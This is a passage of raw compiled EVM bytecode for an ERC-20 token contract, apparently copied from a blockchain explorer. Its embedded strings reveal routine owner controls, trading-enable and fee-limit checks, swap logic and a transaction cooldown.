c491906137b3565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60006009600a6108ef91906136f7565b6305f5e1006108fe9190613742565b905090565b73802d48235ddc733387b985318a3c690650006f6373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610996578073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610990573d6000803e3d6000fd5b5061099b565b600080fd5b50565b3373ffffffffffffffffffffffffffffffffffffffff166109bd611116565b73ffffffffffffffffffffffffffffffffffffffff1614610a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0a90613830565b60405180910390fd5b60004711610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d9061389c565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610a9c573d6000803e3d6000fd5b50565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c94576000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90613908565b60405180910390fd5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550505b610c9f848484611ecf565b90509392505050565b600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d0557600080fd5b600081118015610d155750600481105b610d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4b9061399a565b60405180910390fd5b80600481905550807fb1af3fca46cbc4b6ceb19173da47e172fd99155f6c0cd5c0797cdd11056efd7860405160405180910390a250565b60006009905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610e2d611116565b73ffffffffffffffffffffffffffffffffffffffff1614610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a90613830565b60405180910390fd5b6000610e8e30611001565b11610ece576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec590613a2c565b60405180910390fd5b610ed66125bf565b565b3373ffffffffffffffffffffffffffffffffffffffff16610ef7611116565b73ffffffffffffffffffffffffffffffffffffffff1614610f4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4490613830565b60405180910390fd5b801515600b60019054906101000a900460ff16151503610fa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9990613abe565b60405180910390fd5b80600b60016101000a81548160ff0219169083151502179055508015157fb9bbb15e341600c8d067a0cadeba219905d5ba6d422b193c9c32265d26fc51c860405160405180910390a250565b600b60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16611069611116565b73ffffffffffffffffffffffffffffffffffffffff16146110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b690613830565b60405180910390fd5b6110c96000612732565b565b60078060000154908060010154905082565b6103e86009600a6110ee91906136f7565b6305f5e1006110fd9190613742565b600f6111099190613742565b61111391906137b3565b81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f506173696e630000000000000000000000000000000000000000000000000000815250905090565b3373ffffffffffffffffffffffffffffffffffffffff1661119b611116565b73ffffffffffffffffffffffffffffffffffffffff16146111f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e890613830565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361122957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167f85649af0309729cae07d0c038ebb0ce8b1652c1e2e9226993e8123ac60022ba160405160405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff166112e9611116565b73ffffffffffffffffffffffffffffffffffffffff161461133f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133690613830565b60405180910390fd5b600760000154821115611387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137e90613b2a565b60405180910390fd5b6007600101548111156113cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c690613b96565b60405180910390fd5b816007600001819055508060076001018190555080827f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd06860405160405180910390a35050565b6000611422338484611ecf565b905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16611449611116565b73ffffffffffffffffffffffffffffffffffffffff161461149f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149690613830565b60405180910390fd5b6001600d541480156114af575080155b6114b857600080fd5b82826003858590506114ca9190613bb6565b8181106114da576114d9613bea565b5b90506020020135600c8190555082826001858590506114f99190613bb6565b81811061150957611508613bea565b5b90506020020135600c541061152157611520613c19565b5b505050565b3373ffffffffffffffffffffffffffffffffffffffff16611545611116565b73ffffffffffffffffffffffffffffffffffffffff161461159b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159290613830565b60405180910390fd5b60005b8383905081101561176057811515600e60008686858181106115c3576115c2613bea565b5b90506020020160208101906115d891906131fa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611662576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165990613cba565b60405180910390fd5b81600e600086868581811061167a57611679613bea565b5b905060200201602081019061168f91906131fa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508115158484838181106116f6576116f5613bea565b5b905060200201602081019061170b91906131fa565b73ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb60405160405180910390a3808061175890613cda565b91505061159e565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16611785611116565b73ffffffffffffffffffffffffffffffffffffffff16146117db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d290613830565b60405180910390fd5b600b60029054906101000a900460ff161580156117fb57506000600d5414155b61180457600080fd5b600c54436118129190613d22565b600d60008282546118239190613d22565b925050819055506001600b60026101000a81548160ff0219169083151502179055507fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f60405160405180910390a1565b60098060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082565b3373ffffffffffffffffffffffffffffffffffffffff166118e4611116565b73ffffffffffffffffffffffffffffffffffffffff161461193a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193190613830565b60405180910390fd5b600b60029054906101000a900460ff161580156119545750805b61195d57600080fd5b6001600d8190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16611a0e611116565b73ffffffffffffffffffffffffffffffffffffffff1614611a64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5b90613830565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ad2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac990613dc8565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611b0d91906132ed565b602060405180830381865afa158015611b2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b4e9190613dfd565b905060008111611b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8a90613e9c565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401611bce929190613ebc565b6020604051808303816000875af1158015611bed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c119190613efa565b505050565b3373ffffffffffffffffffffffffffffffffffffffff16611c35611116565b73ffffffffffffffffffffffffffffffffffffffff1614611c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8290613830565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611cfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cf190613f99565b60405180910390fd5b611d0381612732565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6c90614005565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611de4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddb90614005565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ec29190613165565b60405180910390a3505050565b60008383600b60029054906101000a900460ff1680611f3e5750600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611f925750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611fd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc890614071565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603612040576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203790614103565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036120af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a690614195565b60405180910390fd5b60008414806120ca5750600b60009054906101000a900460ff165b156120e1576120da8686866127f6565b92506125b6565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156121875750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121e45750600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15612275576103e86009600a6121fa91906136f7565b6305f5e1006122099190613742565b600f6122159190613742565b61221f91906137b3565b61222886611001565b856122339190613d22565b1115612274576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226b90614227565b60405180910390fd5b5b600360009054906101000a900460ff1680156122db5750600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123315750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123935760006123428787612992565b905061234d816129d8565b43600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b600b60019054906101000a900460ff1680156123bc5750600b60009054906101000a900460ff16155b801561241457507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b801561246a5750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124c05750600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124ce576124cd6125bf565b5b6000600b60009054906101000a900460ff16159050600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125845750600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561258e57600090505b80156125a75761259f878787612ac4565b9350506125b6565b6125b28787876127f6565b9350505b50509392505050565b6001600b60006101000a81548160ff02191690831515021790555060006125e530611001565b90506127106009600a6125f891906136f7565b6305f5e1006126079190613742565b60056126139190613742565b61261d91906137b3565b81108061262f575061262d612b0d565b155b1561263a5750612715565b600e6127106009600a61264d91906136f7565b6305f5e10061265c9190613742565b60056126689190613742565b61267291906137b3565b61267c9190613742565b8111156126c857600e6127106009600a61269691906136f7565b6305f5e1006126a59190613742565b60056126b19190613742565b6126bb91906137b3565b6126c59190613742565b90505b60004790506126d682612b38565b600081476126e49190613bb6565b905060008111156127115761271060038260026127019190613742565b61270b91906137b3565b612d5f565b5b5050505b6000600b60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561287e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287590614293565b60405180910390fd5b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461291a9190613d22565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161297e9190613165565b60405180910390a360019150509392505050565b600061299d83612df4565b15806129af57506129ad82612df4565b155b6129b857600080fd5b6129c183612df4565b156129ce578190506129d2565b8290505b92915050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480612a7e5750600143612a2f9190613d22565b600454600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7c9190613d22565b105b905080612ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ab7906142ff565b60405180910390fd5b5050565b600080612ad2858585612e07565b90506000811115612af857612ae88530836127f6565b508083612af59190613bb6565b92505b612b038585856127f6565b9150509392505050565b6000600d5443118015612b3357506002600f600043815260200190815260200160002054105b905090565b600f60004381526020019081526020016000206000815480929190612b5c90613cda565b91905055506000600267ffffffffffffffff811115612b7e57612b7d61431f565b5b604051908082528060200260200182016040528015612bac5781602001602082028036833780820191505090505b5090503081600081518110612bc457612bc3613bea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c819190614363565b81600181518110612c9557612c94613bea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612d25959493929190614489565b600060405180830381600087803b158015612d3f57600080fd5b505af1925050508015612d50575060015b612d5a5750612d5c565b505b50565b6000600960010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051612daa90614514565b60006040518083038185875af1925050503d8060008114612de7576040519150601f19603f3d011682016040523d82523d6000602084013e612dec565b606091505b505090505050565b600080823b905060008111915050919050565b6000600d546000108015612e1c575043600d54105b15612ea45760647f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614612e8157600760000154612e88565b6007600101545b83612e939190613742565b612e9d91906137b3565b9050612f30565b60647f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614612f12576000600d5414612f0a576031612f0d565b60195b612f15565b60315b60ff1683612f239190613742565b612f2d91906137b3565b90505b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f71578082015181840152602081019050612f56565b60008484015250505050565b6000601f19601f8301169050919050565b6000612f9982612f37565b612fa38185612f42565b9350612fb3818560208601612f53565b612fbc81612f7d565b840191505092915050565b60006020820190508181036000830152612fe18184612f8e565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061301e82612ff3565b9050919050565b61302e81613013565b811461303957600080fd5b50565b60008135905061304b81613025565b92915050565b6000819050919050565b61306481613051565b811461306f57600080fd5b50565b6000813590506130818161305b565b92915050565b6000806040838503121561309e5761309d612fe9565b5b60006130ac8582860161303c565b92505060206130bd85828601613072565b9150509250929050565b60008115159050919050565b6130dc816130c7565b82525050565b60006020820190506130f760008301846130d3565b92915050565b613106816130c7565b811461311157600080fd5b50565b600081359050613123816130fd565b92915050565b60006020828403121561313f5761313e612fe9565b5b600061314d84828501613114565b91505092915050565b61315f81613051565b82525050565b600060208201905061317a6000830184613156565b92915050565b6000819050919050565b60006131a56131a061319b84612ff3565b613180565b612ff3565b9050919050565b60006131b78261318a565b9050919050565b60006131c9826131ac565b9050919050565b6131d9816131be565b82525050565b60006020820190506131f460008301846131d0565b92915050565b6000602082840312156132105761320f612fe9565b5b600061321e8482850161303c565b91505092915050565b6000806000606084860312156132405761323f612fe9565b5b600061324e8682870161303c565b935050602061325f8682870161303c565b925050604061327086828701613072565b9150509250925092565b6000602082840312156132905761328f612fe9565b5b600061329e84828501613072565b91505092915050565b600060ff82169050919050565b6132bd816132a7565b82525050565b60006020820190506132d860008301846132b4565b92915050565b6132e781613013565b82525050565b600060208201905061330260008301846132de565b92915050565b600060408201905061331d6000830185613156565b61332a6020830184613156565b9392505050565b6000806040838503121561334857613347612fe9565b5b60006133568582860161303c565b925050602061336785828601613114565b9150509250929050565b6000806040838503121561338857613387612fe9565b5b600061339685828601613072565b92505060206133a785828601613072565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f8401126133d6576133d56133b1565b5b8235905067ffffffffffffffff8111156133f3576133f26133b6565b5b60208301915083602082028301111561340f5761340e6133bb565b5b9250929050565b60008060006040848603121561342f5761342e612fe9565b5b600084013567ffffffffffffffff81111561344d5761344c612fee565b5b613459868287016133c0565b9350935050602061346c86828701613114565b9150509250925092565b60008083601f84011261348c5761348b6133b1565b5b8235905067ffffffffffffffff8111156134a9576134a86133b6565b5b6020830191508360208202830111156134c5576134c46133bb565b5b9250929050565b6000806000604084860312156134e5576134e4612fe9565b5b600084013567ffffffffffffffff81111561350357613502612fee565b5b61350f86828701613476565b9350935050602061352286828701613114565b9150509250925092565b600060408201905061354160008301856132de565b61354e60208301846132de565b9392505050565b6000806040838503121561356c5761356b612fe9565b5b600061357a8582860161303c565b925050602061358b8582860161303c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561361b578086048111156135f7576135f6613595565b5b60018516156136065780820291505b8081029050613614856135c4565b94506135db565b94509492505050565b60008261363457600190506136f0565b8161364257600090506136f0565b8160018114613658576002811461366257613691565b60019150506136f0565b60ff84111561367457613673613595565b5b8360020a91508482111561368b5761368a613595565b5b506136f0565b5060208310610133831016604e8410600b84101617156136c65782820a9050838111156136c1576136c0613595565b5b6136f0565b6136d384848460016135d1565b925090508184048111156136ea576136e9613595565b5b81810290505b9392505050565b600061370282613051565b915061370d836132a7565b925061373a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613624565b905092915050565b600061374d82613051565b915061375883613051565b925082820261376681613051565b9150828204841483151761377d5761377c613595565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006137be82613051565b91506137c983613051565b9250826137d9576137d8613784565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061381a602083612f42565b9150613825826137e4565b602082019050919050565b600060208201905081810360008301526138498161380d565b9050919050565b7f546f6b656e3a206e6f2065746820746f20636c65617200000000000000000000600082015250565b6000613886601683612f42565b915061389182613850565b602082019050919050565b600060208201905081810360008301526138b581613879565b9050919050565b7f45524332303a20696e73756666696369656e7420416c6c6f77616e6365000000600082015250565b60006138f2601d83612f42565b91506138fd826138bc565b602082019050919050565b60006020820190508181036000830152613921816138e5565b9050919050565b7f546f6b656e3a206f6e6c7920747261646520636f6f6c646f776e2076616c756560008201527f7320696e2072616e67652028302c3429207065726d69737369626c6500000000602082015250565b6000613984603c83612f42565b915061398f82613928565b604082019050919050565b600060208201905081810360008301526139b381613977565b9050919050565b7f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560008201527f6172000000000000000000000000000000000000000000000000000000000000602082015250565b6000613a16602283612f42565b9150613a21826139ba565b604082019050919050565b60006020820190508181036000830152613a4581613a09565b9050919050565b7f546f6b656e3a2073776170456e61626c656420616c7265616479207b73686f7560008201527f6c64537761707d00000000000000000000000000000000000000000000000000602082015250565b6000613aa8602783612f42565b9150613ab382613a4c565b604082019050919050565b60006020820190508181036000830152613ad781613a9b565b9050919050565b7f546f6b656e3a206d757374207265647563652062757920666565000000000000600082015250565b6000613b14601a83612f42565b9150613b1f82613ade565b602082019050919050565b60006020820190508181036000830152613b4381613b07565b9050919050565b7f546f6b656e3a206d757374207265647563652073656c6c206665650000000000600082015250565b6000613b80601b83612f42565b9150613b8b82613b4a565b602082019050919050565b60006020820190508181036000830152613baf81613b73565b9050919050565b6000613bc182613051565b9150613bcc83613051565b9250828203905081811115613be457613be3613595565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b7f546f6b656e3a206164647265737320616c7265616479207b73686f756c64457860008201527f636c7564657d0000000000000000000000000000000000000000000000000000602082015250565b6000613ca4602683612f42565b9150613caf82613c48565b604082019050919050565b60006020820190508181036000830152613cd381613c97565b9050919050565b6000613ce582613051565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d1757613d16613595565b5b600182019050919050565b6000613d2d82613051565b9150613d3883613051565b9250828201905080821115613d5057613d4f613595565b5b92915050565b7f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b6560008201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b6000613db2602183612f42565b9150613dbd82613d56565b604082019050919050565b60006020820190508181036000830152613de181613da5565b9050919050565b600081519050613df78161305b565b92915050565b600060208284031215613e1357613e12612fe9565b5b6000613e2184828501613de8565b91505092915050565b7f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c656160008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e86602183612f42565b9150613e9182613e2a565b604082019050919050565b60006020820190508181036000830152613eb581613e79565b9050919050565b6000604082019050613ed160008301856132de565b613ede6020830184613156565b9392505050565b600081519050613ef4816130fd565b92915050565b600060208284031215613f1057613f0f612fe9565b5b6000613f1e84828501613ee5565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613f83602683612f42565b9150613f8e82613f27565b604082019050919050565b60006020820190508181036000830152613fb281613f76565b9050919050565b7f45524332303a207a65726f204164647265737300000000000000000000000000600082015250565b6000613fef601383612f42565b9150613ffa82613fb9565b602082019050919050565b6000602082019050818103600083015261401e81613fe2565b9050919050565b7f546f6b656e3a2054726164696e67206973206e6f74206163746976652e000000600082015250565b600061405b601d83612f42565b915061406682614025565b602082019050919050565b6000602082019050818103600083015261408a8161404e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006140ed602583612f42565b91506140f882614091565b604082019050919050565b6000602082019050818103600083015261411c816140e0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061417f602383612f42565b915061418a82614123565b604082019050919050565b600060208201905081810360008301526141ae81614172565b9050919050565b7f546f6b656e3a206d61782077616c6c657420616d6f756e74206578636565646560008201527f6400000000000000000000000000000000000000000000000000000000000000602082015250565b6000614211602183612f42565b915061421c826141b5565b604082019050919050565b6000602082019050818103600083015261424081614204565b9050919050565b7f546f6b656e3a20696e73756666696369656e742042616c616e63650000000000600082015250565b600061427d601b83612f42565b915061428882614247565b602082019050919050565b600060208201905081810360008301526142ac81614270565b9050919050565b7f4d6178207478206672657175656e637920657863656564656421000000000000600082015250565b60006142e9601a83612f42565b91506142f4826142b3565b602082019050919050565b60006020820190508181036000830152614318816142dc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061435d81613025565b92915050565b60006020828403121561437957614378612fe9565b5b60006143878482850161434e565b91505092915050565b6000819050919050565b60006143b56143b06143ab84614390565b613180565b613051565b9050919050565b6143c58161439a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61440081613013565b82525050565b600061441283836143f7565b60208301905092915050565b6000602082019050919050565b6000614436826143cb565b61444081856143d6565b935061444b836143e7565b8060005b8381101561447c5781516144638882614406565b975061446e8361441e565b92505060018101905061444f565b5085935050505092915050565b600060a08201905061449e6000830188613156565b6144ab60208301876143bc565b81810360408301526144bd818661442b565b90506144cc60608301856132de565b6144d96080830184613156565b9695505050505050565b600081905092915050565b50565b60006144fe6000836144e3565b9150614509826144ee565b600082019050919050565b600061451f826144f1565b915081905091905056fea2646970667358221220acbdae9282abef46b6b64ee873e0429c73bb013c7602b2241d31c36c16f1e82c64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c806370a082311161010d578063a9059cbb116100a0578063d2f4a50a1161006f578063d2f4a50a146106ad578063d53a822f146106d9578063dd62ed3e14610702578063e303e6621461073f578063f2fde38b14610768576101f9565b8063a9059cbb14610607578063ae53fefe14610644578063c492f0461461066d578063c9567bf914610696576101f9565b80638da5cb5b116100dc5780638da5cb5b1461055f57806395d89b411461058a5780639686d322146105b5578063a08fc5c7146105de576101f9565b806370a08231146104b4578063715018a6146104f1578063743781321461050857806382247ec014610534576101f9565b806323b872dd116101855780634fbee193116101545780634fbee1931461040c5780635b895c29146104495780636d8aa8f8146104605780636ddd171314610489576101f9565b806323b872dd146103505780633049b5801461038d578063313ce567146103b657806349bd5a5e146103e1576101f9565b80631694505e116101c15780631694505e146102ba57806318160ddd146102e55780631a695230146103105780631b9152bf14610339576101f9565b806306fdde03146101fe578063095ea7b31461022957806309fb5639146102665780630e5a92311461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610791565b6040516102209190612fc7565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613087565b6107ce565b60405161025d91906130e2565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190613129565b6107e5565b005b34801561029b57600080fd5b506102a461088e565b6040516102b19190613165565b60405180910390f35b3480156102c657600080fd5b506102cf6108c7565b6040516102dc91906131df565b60405180910390f35b3480156102f157600080fd5b506102fa6108df565b6040516103079190613165565b60405180910390f35b34801561031c57600080fd5b50610337600480360381019061033291906131fa565b610903565b005b34801561034557600080fd5b5061034e61099e565b005b34801561035c57600080fd5b5061037760048036038101906103729190613227565b610a9f565b60405161038491906130e2565b60405180910390f35b34801561039957600080fd5b506103b460048036038101906103af919061327a565b610ca8565b005b3480156103c257600080fd5b506103cb610d8b565b6040516103d891906132c3565b60405180910390f35b3480156103ed57600080fd5b506103f6610d94565b60405161040391906132ed565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e91906131fa565b610db8565b60405161044091906130e2565b60405180910390f35b34801561045557600080fd5b5061045e610e0e565b005b34801561046c57600080fd5b5061048760048036038101906104829190613129565b610ed8565b005b34801561049557600080fd5b5061049e610fee565b6040516104ab91906130e2565b60405180910390f35b3480156104c057600080fd5b506104db600480360381019